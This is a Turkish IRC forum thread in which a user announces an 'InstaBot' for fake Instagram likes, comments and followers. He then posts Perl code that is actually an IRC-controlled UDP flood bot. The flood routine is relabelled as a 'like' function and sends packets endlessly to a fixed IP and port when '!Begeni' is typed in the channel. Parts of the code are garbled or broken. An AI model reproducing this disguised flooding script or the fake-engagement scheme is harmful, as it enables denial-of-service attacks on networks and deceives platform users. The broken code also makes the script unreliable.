IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası

IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası (https://www.ircforumlari.net/)
-   Eggdrop, NeoStats, BNC (https://www.ircforumlari.net/eggdrop-neostats-bnc/)
-   -   InstaBot (https://www.ircforumlari.net/eggdrop-neostats-bnc/837819-instabot.html)

Tupac 23 Eylül 2019 15:31

InstaBot
 
merhaba arkadaslar en yakin zamanda sizlere instaBot gedirecem insallah
suan da irc.dalnet.com #instagram kanalinda calisiyoruz kanalda !begeni instagram emre 100 begenu atacak !yourum emre yazinca degisik innstagram nickleri senin fotona 100 adet yorum yazacak !takipci emre 600 yazinca takipci gelecek az kaldi,,, arkadasla calsiiyorz cok eglecenguz bu arada bot perl bot perl dili ile yazilmistir.. arkadas kendisi amerikalidir ugrasiyorz :) en yakin zamanda sizlere C+
print("sizleri seviyoruz")

bb 23 Eylül 2019 15:37

Cevap: InstaBot
 
Fantastik bir düşünce, kolay gelsin umarım başarılı olur.

YellowLine 23 Eylül 2019 16:32

Cevap: InstaBot
 
[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Tupac 23 Eylül 2019 17:37

Cevap: InstaBot
 
arkadaslar fikir benimdi arkadaslda perl dili ile codlama yapiyor 1 hafta oldu insallah 2 hafta sonra link atarim cmd den perl instaBot yazmaniz yeterli olacak api de lazim bilgisayarinizde gerekli olanlar mysql ve windows icin Composer indirmeniz lazim cmd den anlatacam detaylari bot olsunda


--IRCForumlari.NET ; Flood Engellendi -->-> Yeni yazılan mesaj 16:27 -->-> Daha önceki mesaj 16:12 --

# BOT for Instagram Begeni
# This Bot is based on this scripts
# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


# [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


# Object interface to socket communications
use IO::Socket;
# Perl interpreter-based threads
use threads;
use threads::shared;

# Thread used to run the subroutine
my $thr;
# Flag to stop the subroutine
my $interrupt :shared;

#IRC parameters
my $channel = '#instagram';
my $nick = 'instaBot';
my $user = 'instagram Begeni Bot BY UFUK';

# instagram Begeni subroutine (not a real function per se)

sub begeni
{
print "=> instagram Begeni Started\n";

# Local variables (to the enclosing block)
my ($ip, $port, $target_socket, $proto, $lower_bound, $rand, $size);

# Target host, port and channel
$ip = '192.168.1.1';
$port = 80;

# Converts the IP representation (from textual to packed binary)
$iaddr = inet_aton("$ip");

# Opens a socket
#$proto = getprotobyname("udp");
socket(target_socket, PF_INET, SOCK_DGRAM, 17);
#socket($target_socket, PF_INET, SOCK_DGRAM, $proto); #|| die "socket: $!";

# Begeni
while (1)
{
if ($interrupt) { print "=> Begeni Stopped\n"; return; }
# Sleeping for a fraction of a second keeps the script
# from running to 100 cpu usage.
#select(undef, undef, undef, 0.01);
#$lower_bound = 4;
#$rand = $lower_bound + int(rand(16));
$size = $rand x $rand x $rand;
send(target_socket, 0, $size, sockaddr_in($port, $iaddr));
}
}

# Creates a new client. Timeout is defined in seconds.
my $con = IO::Socket::INET->new(
PeerAddr => 'irc.dalnet.com',
PeerPort => '6667',
Proto => 'tcp',
Timeout => '30'
) or die "Error! $!\n";

# Join the IRC
print $con "USER $user \r\n";
print $con "NICK $nick r\n";
print $con "JOIN $channel\r\n";

# IRC connection loop
while (my $answer = <$con>)
{
# Show server reply
print $answer;

# Answer to ping requests (to keep connection alive)
if ($answer =~ m/^PING (.*?)$/gi)
{
print "Replying with PONG ".$1."\n";
print $con "PONG ".$1."\r\n";
}

# Starts the Begeni
if ($answer =~ /!Begeni/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel :instagram Begeni is running...\r\n";
}
else
{
print $con "PRIVMSG $channel :Begeni started!\r\n";
$interrupt = 0;
$thr = threads->create('Begeni sytsem start');
$thr->detach();
}
}

# Finishes the begeni
if ($answer =~ /!durdur/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel :Begeni durduldu!\r\n";
$interrupt = 1;
}
else
{
print $con "PRIVMSG $channel :Nothing to stop.\r\n";
}
}
}

--IRCForumlari.NET ; Flood Engellendi -->-> Yeni yazılan mesaj 16:37 -->-> Daha önceki mesaj 16:27 --

[16:36] !durdur
[16:36] Nothing to stop.

QarizmaTurk 08 Ekim 2019 21:54

Cevap: InstaBot
 
mrb tupac acaba bot oldu mu merak ediyorum kolay gelsin

LiDER77 23 Mayıs 2020 11:35

Cevap: InstaBot
 
kolay gelsin

BordoTurk 23 Mayıs 2020 12:20

Cevap: InstaBot
 
Phph bot noldu Bro...


Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 20:25.

Powered by vBulletin® Version 3.8.8 Beta 3   Copyright ©2000 - 2020, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO
2004-2018 IRCForumlari.Net | Tüm Hakları Saklıdır...